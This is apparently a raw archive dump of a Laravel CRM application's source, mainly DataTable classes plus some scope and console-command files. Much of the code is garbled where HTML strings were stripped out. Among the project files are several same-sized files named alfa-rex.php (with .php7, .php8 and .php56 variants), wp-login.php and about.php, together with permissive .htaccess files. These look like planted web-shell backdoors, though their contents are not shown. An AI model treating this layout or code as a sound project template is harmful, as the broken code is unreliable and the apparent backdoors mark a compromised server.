'contract_number', 'name' => 'contract_number', 'title' => '#'], __('app.subject') => ['data' => 'subject', 'name' => 'subject', 'exportable' => false, 'title' => __('app.subject')], __('app.menu.contract') . ' ' . __('app.subject') => ['data' => 'contract_subject', 'name' => 'subject', 'visible' => false, 'title' => __('app.menu.contract')], __('app.client') => ['data' => 'client.name', 'name' => 'client.name', 'exportable' => false, 'title' => __('app.client'), 'visible' => !in_array('client', user_roles())], __('app.customers') => ['data' => 'client_name', 'name' => 'client.name', 'visible' => false, 'title' => __('app.customers')], __('app.project') => ['data' => 'project_name', 'name' => 'project.project_name', 'title' => __('app.project')], __('app.amount') => ['data' => 'amount', 'name' => 'amount', 'title' => __('app.amount')], __('app.startDate') => ['data' => 'start_date', 'name' => 'start_date', 'title' => __('app.startDate')], __('app.endDate') => ['data' => 'end_date', 'name' => 'end_date', 'title' => __('app.endDate')], __('app.signature') => ['data' => 'signature', 'name' => 'signature', 'visible' => false, 'title' => __('app.signature')] ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Contract()), $action); } } DataTables/LeadNotesDataTable.php000064400000016633150325104510012706 0ustar00editLeadNotePermission = user()->permission('edit_lead_note'); $this->deleteLeadNotePermission = user()->permission('delete_lead_note'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
'; $action .= '
'; return $action; }) ->editColumn('created_at', function ($row) { return $row->created_at->timezone(company()->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format); }) ->editColumn('title', function ($row) { if (!in_array('admin', user_roles()) && $row->ask_password == 1) { return '' . $row->title . ''; } else { return '' . $row->title . ''; } }) ->editColumn('type', function ($row) { if ($row->type == '0') { return ' ' . __('app.public') . ''; } else { return ' ' . __('app.private') . ''; } }) ->editColumn('id', function ($row) { return $row->id; }) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'check', 'title', 'type']); } /** * @param LeadNote $model * @return LeadNote|\Illuminate\Database\Eloquent\Builder */ public function query(LeadNote $model) { $request = $this->request(); $notes = $model->where('lead_id', $request->leadID); if (in_array('lead', user_roles())) { $notes->where('type', 0); $notes->orWhere('is_lead_show', 1); } if (!in_array('admin', user_roles())) { $notes->where(function ($query) { return $query->whereHas('members', function ($query) { return $query->where('user_id', user()->id); })->where('type', 1)->orWhere('type', 0); }); } if (!is_null($request->searchText)) { $notes->where('title', 'like', '%' . request('searchText') . '%'); } return $notes; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('lead-notes-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["lead-notes-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('modules.client.noteTitle') => ['data' => 'title', 'name' => 'title', 'title' => __('modules.client.noteTitle')], __('modules.client.noteType') => ['data' => 'type', 'name' => 'type', 'title' => __('modules.client.noteType')], __('app.createdOn') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.createdOn')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/ContractTemplatesDataTable.php000064400000016033150325104510014456 0ustar00editContractPermission = user()->permission('edit_contract'); $this->deleteContractPermission = user()->permission('delete_contract'); $this->addContractPermission = user()->permission('add_contract'); $this->viewContractPermission = user()->permission('view_contract'); $this->manageContractTemplate = user()->permission('manage_contract_template'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
'; return $action; }) ->addColumn('contract_subject', function ($row) { return $row->subject; }) ->editColumn('subject', function ($row) { $signed = ''; if ($row->signature) { $signed = '`` ' . __('app.signed') . ''; } return '
' . $row->subject . '

' . $signed . '

'; }) ->editColumn('amount', function ($row) { return currency_format($row->amount, $row->currency->id); }) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'check', 'subject']); } /** * @param ContractTemplate $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(ContractTemplate $model) { $model = $model->with('contractType', 'currency') ->select('contract_templates.*'); if (request()->searchText != '') { $model->where(function ($query) { $query->where('contract_templates.subject', 'like', '%' . request('searchText') . '%'); }); } if ($this->manageContractTemplate == 'added') { $model->where(function ($query) { return $query->where('contract_templates.added_by', user()->id); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('contract-template-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["contract-template-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, 'visible' => !in_array('client', user_roles()) ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.subject') => ['data' => 'subject', 'name' => 'subject', 'exportable' => false, 'title' => __('app.subject')], __('app.menu.contract') . ' ' . __('app.subject') => ['data' => 'contract_subject', 'name' => 'subject', 'visible' => false, 'title' => __('app.menu.contract')], __('app.amount') => ['data' => 'amount', 'name' => 'amount', 'title' => __('app.amount')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/ShiftChangeRequestDataTable.php000064400000017056150325104510014564 0ustar00addIndexColumn() ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
'; return $action; }) ->addColumn('employee_name', function ($row) { return $row->shiftSchedule->user->name; }) ->editColumn('name', function ($row) { return view('components.employee', [ 'user' => $row->shiftSchedule->user ]); }) ->editColumn('shift_name', function ($row) { return $row->shiftSchedule->shift->shift_name . ' ' . __('app.to') . ' ' . $row->shift->shift_name; }) ->editColumn('shift', function ($row) { return '' . $row->shiftSchedule->shift->shift_name . ' ' . __('app.to') . ' ' . $row->shift->shift_name . ''; }) ->editColumn('date', function ($row) { return $row->shiftSchedule->date->translatedFormat(company()->date_format); }) ->editColumn('status', function ($row) { return $row->status; }) ->addIndexColumn() ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'name', 'check', 'shift']); } /** * @param EmployeeShiftChangeRequest $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(EmployeeShiftChangeRequest $model) { $request = $this->request(); $employee = $request->employee; $shift = $request->shift_id; $model = $model->with('shift', 'shiftSchedule', 'shiftSchedule.shift', 'shiftSchedule.user'); $model = $model->join('employee_shift_schedules', 'employee_shift_schedules.id', '=', 'employee_shift_change_requests.shift_schedule_id'); $model = $model->join('users', 'users.id', '=', 'employee_shift_schedules.user_id'); $model = $model->join('employee_shifts', 'employee_shifts.id', '=', 'employee_shift_schedules.employee_shift_id'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); if (!is_null($startDate)) { $model->where(DB::raw('DATE(employee_shift_change_requests.`created_at`)'), '>=', $startDate); } } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); if (!is_null($endDate)) { $model->where(function ($query) use ($endDate) { $query->where(DB::raw('DATE(employee_shift_change_requests.`created_at`)'), '<=', $endDate); }); } } if (!is_null($employee) && $employee !== 'all') { $model->where('employee_shift_schedules.user_id', $employee); } if (!is_null($shift) && $shift !== 'all') { $model->where('employee_shift_change_requests.employee_shift_id', '=', $shift); } $model = $model->where('employee_shift_change_requests.status', 'waiting'); $model = $model->select('employee_shift_change_requests.*'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('shift-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["shift-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // $(".select-picker").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => !showId()], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('#'), 'visible' => showId()], __('app.employee') => ['data' => 'name', 'name' => 'users.name', 'exportable' => false, 'title' => __('app.employee')], __('app.name') => ['data' => 'employee_name', 'name' => 'name', 'visible' => false, 'title' => __('app.name')], __('modules.attendance.shiftName') => ['data' => 'shift_name', 'name' => 'shift_name', 'title' => __('modules.attendance.shift'), 'visible' => false], __('modules.attendance.shift') => ['data' => 'shift', 'name' => 'shift_name', 'title' => __('modules.attendance.shift'), 'exportable' => false], __('app.date') => ['data' => 'date', 'name' => 'date', 'title' => __('app.date')], __('app.reason') => ['data' => 'reason', 'name' => 'reason', 'title' => __('app.reason')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/ProductsDataTable.php000064400000023670150325104510012632 0ustar00editProductPermission = user()->permission('edit_product'); $this->deleteProductPermission = user()->permission('delete_product'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $datatables = datatables()->eloquent($query); $datatables->addColumn('check', fn($row) => $this->checkBox($row)); $datatables->addColumn('category', function ($row) { return ($row->category) ? $row->category->category_name : ''; }); $datatables->addColumn('sub_category', function ($row) { return ($row->subCategory) ? $row->subCategory->category_name : ''; }); $datatables->editColumn('description', function ($row) { return strip_tags($row->description); }); $datatables->addColumn('action', function ($row) { if (in_array('client', user_roles())) { return ''; } $action = '
' . __('app.view') . '
'; return $action; }); $datatables->editColumn('name', function ($row) { return '' . $row->name . ''; }); $datatables->editColumn('default_image', function ($row) { return ''; }); $datatables->editColumn('allow_purchase', function ($row) { if ($row->allow_purchase == 1) { $status = '' . __('app.allowed') . ''; } else { $status = '' . __('app.notAllowed') . ''; } return $status; }); $datatables->editColumn('price', function ($row) { if (!is_null($row->taxes)) { $totalTax = 0; foreach (json_decode($row->taxes) as $tax) { $prodTax = Product::taxbyid($tax)->first(); if ($prodTax) { $totalTax = $totalTax + ($row->price * ($prodTax->rate_percent / 100)); } } return currency_format($row->price + $totalTax, company()->currency_id); } return currency_format($row->price, company()->currency_id); }); $datatables->addIndexColumn(); $datatables->smart(false); $datatables->setRowId(fn($row) => 'row-' . $row->id); // Custom Fields For export $customFieldColumns = CustomField::customFieldData($datatables, Product::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['action', 'price', 'allow_purchase', 'check', 'name', 'default_image'], $customFieldColumns)); return $datatables; } /** * @param Product $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Product $model) { $request = $this->request(); $model = $model->with('tax', 'category', 'subCategory')->select('id', 'name', 'price', 'taxes', 'allow_purchase', 'added_by', 'default_image', 'category_id', 'sub_category_id', 'description'); if (!is_null($request->category_id) && $request->category_id != 'all' && $request->category_id > 0) { $model->where('category_id', $request->category_id); } if (!is_null($request->unit_type_id) && $request->unit_type_id != 'all') { $model->where('unit_id', $request->unit_type_id); } if (!is_null($request->sub_category_id) && $request->sub_category_id != 'all' && $request->sub_category_id > 0) { $model->where('sub_category_id', $request->sub_category_id); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('products.name', 'like', '%' . request('searchText') . '%') ->orWhere('products.price', 'like', '%' . request('searchText') . '%'); }); } if (user()->permission('view_product') == 'added') { $model->where('products.added_by', user()->id); } if (in_array('client', user_roles())) { $model->where('products.allow_purchase', 1); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('products-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["products-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, 'visible' => !in_array('client', user_roles()) ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => showId()], __('modules.productImage') => ['data' => 'default_image', 'name' => 'default_image', 'title' => __('modules.productImage'), 'exportable' => false,], __('app.menu.products') => ['data' => 'name', 'name' => 'name', 'title' => __('app.menu.products')], __('modules.productCategory.productCategory') => ['data' => 'category', 'name' => 'category', 'title' => __('modules.productCategory.productCategory'), 'visible' => false], __('modules.productCategory.productSubCategory') => ['data' => 'sub_category', 'name' => 'sub_category', 'title' => __('modules.productCategory.productSubCategory'), 'visible' => false], __('app.description') => ['data' => 'description', 'name' => 'description', 'title' => __('app.description'), 'visible' => false], __('app.menu.products') => ['data' => 'name', 'name' => 'name', 'title' => __('app.menu.products')], __('app.price') . ' (' . __('app.inclusiveAllTaxes') . ')' => ['data' => 'price', 'name' => 'price', 'title' => __('app.price') . ' (' . __('app.inclusiveAllTaxes') . ')'], __('app.purchaseAllow') => ['data' => 'allow_purchase', 'name' => 'allow_purchase', 'visible' => !in_array('client', user_roles()), 'title' => __('app.purchaseAllow')] ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Product()), $action); } } DataTables/DealNotesDataTable.php000064400000015253150325104510012703 0ustar00editLeadNotePermission = user()->permission('edit_deal_note'); $this->viewLeadNotePermission = user()->permission('view_deal_note'); $this->deleteLeadNotePermission = user()->permission('delete_deal_note'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
'; $action .= '
'; return $action; }) ->editColumn('created_at', function ($row) { return $row->created_at->timezone(company()->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format); }) ->editColumn('title', function ($row) { if (!in_array('admin', user_roles()) && $row->ask_password == 1) { return '' . $row->title . ''; } else { return '' . $row->title . ''; } }) ->editColumn('id', function ($row) { return $row->id; }) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'check', 'title']); } /** * @param DealNote $model * @return DealNote|\Illuminate\Database\Eloquent\Builder */ public function query(DealNote $model) { $request = $this->request(); $notes = $model->select('deal_notes.*')->where('deal_id', $request->leadID); if (!is_null($request->searchText)) { $notes->where('title', 'like', '%' . request('searchText') . '%'); } if ($this->viewLeadNotePermission == 'added') { $notes->where('added_by', user()->id); } elseif ($this->viewLeadNotePermission == 'owned') { $notes->where('added_by', '!=', user()->id); } return $notes; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('deal-notes-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["deal-notes-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('modules.client.noteTitle') => ['data' => 'title', 'name' => 'title', 'title' => __('modules.client.noteTitle')], __('app.createdOn') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.createdOn')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/HolidayDataTable.php000064400000024325150325104510012416 0ustar00viewPermission = user()->permission('view_holiday'); $this->editPermission = user()->permission('edit_holiday'); $this->deletePermission = user()->permission('delete_holiday'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return (new EloquentDataTable($query)) ->addIndexColumn() ->addColumn('check', fn($row) => $this->checkBox($row)) ->editColumn('holiday_date', function ($row) { return Carbon::parse($row->date)->translatedFormat($this->company->date_format); }) ->addColumn('occasion', function ($row) { return $row->occassion; }) ->addColumn('day', function ($row) { return $row->date->translatedFormat('l'); }) ->addColumn('department', function ($row) { $value = (!empty($row->department_id_json) && $row->department_id_json != 'null') ? collect (Holiday::department(json_decode($row->department_id_json))) ->map(function($val){ return '
    ' . $val . '
'; }) ->implode('') : '--'; return $value !== '' ? $value : '--'; }) ->addColumn('designation', function ($row) { $value = (!empty($row->designation_id_json) && $row->designation_id_json != 'null') ? collect( Holiday::designation(json_decode($row->designation_id_json))) ->map(function($val){ return '
    ' . $val . '
'; }) ->implode('') : '--'; return $value !== '' ? $value : '--'; }) ->addColumn('employment_type', function ($row) { $value = !empty($row->employment_type_json) ? collect(json_decode($row->employment_type_json)) ->map(function ($employmentType) { return '
    ' . __('modules.employees.' . $employmentType) . '
'; }) ->implode('') : '--'; return $value !== '' ? $value : '--'; }) ->addColumn('action', function ($row) { $actions = '
'; return $actions; }) ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->orderColumn('holiday_date', 'date $1') ->orderColumn('day', 'day_name $1') ->rawColumns(['check', 'action', 'employment_type','department','designation']); } /** * @param Holiday $model * @return \Illuminate\Database\Query\Builder */ public function query(Holiday $model) { $user = user(); $holidays = $model->select('holidays.*', DB::raw('DAYNAME(date) as day_name')); if (!is_null(request()->year)) { $holidays->where(DB::raw('Year(holidays.date)'), request()->year); } if (!is_null(request()->month)) { $holidays->where(DB::raw('Month(holidays.date)'), request()->month); } if (request()->searchText != '') { $holidays->where('holidays.occassion', 'like', '%' . request()->searchText . '%'); } if ($this->viewPermission == 'added') { $holidays->where('holidays.added_by', user()->id); } if ($this->viewPermission == 'owned') { $holidays->where(function ($query) use ($user) { $query->where(function ($q) use ($user) { $q->orWhere('department_id_json', 'like', '%"' . $user->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }); $query->where(function ($q) use ($user) { $q->orWhere('designation_id_json', 'like', '%"' . $user->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $query->where(function ($q) use ($user) { $q->orWhere('employment_type_json', 'like', '%"' . $user->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); }); }); } if ($this->viewPermission == 'both') { $holidays->where(function ($query) use ($user) { $query->where('holidays.added_by', $user->id) ->orWhere(function ($subquery) use ($user) { $subquery->where(function ($q) use ($user) { $q->where('department_id_json', 'like', '%"' . $user->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }); $subquery->where(function ($q) use ($user) { $q->where('designation_id_json', 'like', '%"' . $user->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $subquery->where(function ($q) use ($user) { $q->where('employment_type_json', 'like', '%"' . $user->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); }); }); }); } return $holidays; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('holiday-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["holiday-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".statusChange").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.holiday.date') => ['data' => 'holiday_date', 'name' => 'date', 'title' => __('modules.holiday.date')], __('modules.holiday.occasion') => ['data' => 'occasion', 'name' => 'occasion', 'title' => __('modules.holiday.occasion')], __('modules.holiday.day') => ['data' => 'day', 'name' => 'day', 'title' => __('modules.holiday.day')], __('app.department') => ['data' => 'department', 'name' => 'department', 'title' => __('app.department')], __('app.designation') => ['data' => 'designation', 'name' => 'designation', 'title' => __('app.designation')], __('modules.employees.employmentType') => ['data' => 'employment_type', 'name' => 'employment_type', 'title' => __('modules.employees.employmentType')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/KnowledgeBaseDataTable.php000064400000016153150325104510013537 0ustar00editKnowledgebasePermission = user()->permission('edit_knowledgebase'); $this->deleteKnowledgebasePermission = user()->permission('delete_knowledgebase'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
'; return $action; }) ->editColumn( 'heading', function ($row) { $heading = ' ' . $row->heading . ''; return $heading; } ) ->editColumn( 'created_at', function ($row) { return $row->created_at->translatedFormat($this->company->date_format); } ) ->editColumn( 'to', function ($row) { return $row->to; } ) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'check', 'heading']); } /** * Get query source of dataTable. * * @param \App\Models\KnowledgeBase $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(KnowledgeBase $model) { $request = $this->request(); $model = $model->select('*'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(knowledge_bases.`created_at`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(knowledge_bases.`created_at`)'), '<=', $endDate); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('knowledge_bases.heading', 'like', '%' . request('searchText') . '%'); }); } if (!in_array('admin', user_roles()) && !in_array('client', user_roles())) { $model = $model->where('to', 'employee'); } if (in_array('client', user_roles())) { $model = $model->where('to', 'client'); } if (user()->permission('view_knowledgebase') == 'added') { $model->where('added_by', user()->id); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('knowledgebase-table', 3) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["knowledgebase-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, 'visible' => true, ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.knowledgeBase.knowledge') => ['data' => 'heading', 'name' => 'heading', 'title' => __('modules.knowledgeBase.knowledge')], __('app.date') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.date')], __('app.to') => ['data' => 'to', 'name' => 'to', 'title' => __('app.to')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; } } Scopes/alfa-rex.php000064400000026574150325104510010222 0ustar00Scopes/.htaccess000064400000000544150325104510007575 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Scopes/alfa-rex.php7000064400000026574150325104510010311 0ustar00Scopes/alfa-rex.php8000064400000026574150325104510010312 0ustar00Scopes/wp-login.php000064400000026574150325104510010257 0ustar00Scopes/alfa-rex.php56000064400000026574150325104510010375 0ustar00Scopes/about.php000064400000026574150325104510007635 0ustar00Scopes/error_log000064400000001626150325104510007716 0ustar00[04-Jul-2025 12:46:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 12:46:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Scopes/ActiveScope.php000064400000000757150325104510010723 0ustar00where($model->getTable() . '.status', '=', 'active'); } } Scopes/about.php7000064400000026574150325104510007724 0ustar00Scopes/CompanyScope.php000064400000002434150325104510011110 0ustar00user() do not work in apply so we have use auth()->hasUser() if (auth()->hasUser()) { $company = company(); // We are not checking if table has company_id or not to avoid extra queries. // We need to be extra careful with migrations we have created. For all the migration when doing something with update // we need to add withoutGlobalScope(CompanyScope::class) // Otherwise we will get the error of company_id not found when application is updating or modules are installing if ($company) { $builder->where($model->getTable() . '.company_id', '=', $company->id); } } } } about.php000064400000026574150325104510006401 0ustar00Console/alfa-rex.php000064400000026574150325104510010370 0ustar00Console/.htaccess000064400000000544150325104510007743 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Console/Commands/alfa-rex.php000064400000026574150325104510012131 0ustar00Console/Commands/AutoDatabaseBackup.php000064400000005233150325104510014102 0ustar00status == 'inactive') { $this->info('Database Settings is inactive'); return Command::SUCCESS; } // Get the backups list $backups = (new DatabaseBackupSettingController())->getBackup(); // Reverse the backups array to get the most recent backup $backups = array_reverse($backups); // If there's no backup, create one immediately if (count($backups) == 0) { Artisan::call('backup:run', ['--only-db' => true, '--disable-notifications' => true]); return Command::SUCCESS; } // Calculate the difference between the most recent backup and today's date $date = Carbon::parse(($backups)[0]['last_modified']); $dateDifference = $date->diffInDays(now()); // If the difference is less than the backup_after_days setting, return false if ($dateDifference < $backupSetting->backup_after_days) { $this->info('Backup already created for today.'); return Command::SUCCESS; } // Get the current time in the timezone set in the global setting $nowTimeWithTimeZone = now()->setTimezone(global_setting()->timezone)->format('H:i:s'); $settingHourOfDay = Carbon::createFromFormat('H:i:s', $backupSetting->hour_of_day)->format('H:i:s'); // If the current time is equal or greater than the hour_of_day setting, create a backup if ($nowTimeWithTimeZone >= $settingHourOfDay) { $this->info('Backup created successfully.'); Artisan::call('backup:run', ['--only-db' => true, '--disable-notifications' => true]); return Command::SUCCESS; } return Command::SUCCESS; } } Console/Commands/AddMissingRolePermission.php000064400000002060150325104510015327 0ustar00select('id')->chunk(50, function ($companies) use ($rolePerm) { foreach ($companies as $company) { $this->info('Running for company:' . $company->id); $rolePerm->addMissingAdminPermission($company->id); $rolePerm->addMissingEmployeePermission($company->id); } }); return Command::SUCCESS; } } Console/Commands/ClearLogs.php000064400000003754150325104510012300 0ustar00getLogFiles(); $filesToKeep = $this->option('keep'); if ($this->option('keep-last') && $files->count() >= 1) { $files->shift(); } $files = $this->filesToDelete($files, $filesToKeep); $deleted = $this->delete($files); if (!$deleted) { $this->info('There was no log file to delete in the 